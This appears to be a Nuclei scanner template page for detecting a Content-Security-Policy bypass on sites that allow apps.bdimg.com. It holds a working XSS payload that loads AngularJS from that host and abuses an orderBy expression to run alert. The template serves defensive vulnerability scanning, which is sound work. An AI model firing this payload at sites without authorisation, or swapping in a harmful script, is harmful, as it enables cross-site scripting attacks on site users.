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Content-Security-Policy Bypass - BDImg Apps

ID: bdimg-apps-csp-bypass

Severity: medium

Author: renniepak,DhiyaneshDK

Tags: xss,csp-bypass,bdimg-apps

id: bdimg-apps-csp-bypass
info:
name: Content-Security-Policy Bypass - BDImg Apps
author: renniepak,DhiyaneshDK
severity: medium
reference:
- https://github.com/renniepak/CSPBypass/blob/main/data.tsv
metadata:
verified: true
tags: xss,csp-bypass,bdimg-apps
flow: http(1) && headless(1)
http:
- method: GET
path:
- "{{BaseURL}}"
matchers:
- type: word
part: header
words:
- "Content-Security-Policy"
- "bdimg.com"
condition: and
internal: true
headless:
- steps:
- action: navigate
args:
url: "{{BaseURL}}"
- action: waitdialog
name: bdimg_apps_csp_xss
args:
max-duration: 5s
payloads:
injection:
- <body ng-app ng-csp><script src="https://apps.bdimg.com/libs/angular.js/1.4.6/angular.min.js"></script><input autofocus ng-focus="$event.composedPath()|orderBy:\'[].constructor.from([1],alert)\'"></body>
fuzzing:
- part: query
type: replace
mode: single
fuzz:
- "{{url_encode(injection)}}"
matchers:
- type: dsl
dsl:
- "bdimg_apps_csp_xss == true"
# digest: 4a0a00473045022100a46cb73220421af2b95cb8d80383b25d9ba6e84b04443d2b2596930475df49ba0220102ac0ffb717c194ee8093bffa536b63efe9eca3f22e6f0a0d59bb07fda9f6a9:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "dast/vulnerabilities/xss/csp-bypass/bdimg-apps-csp-bypass.yaml"

View on Github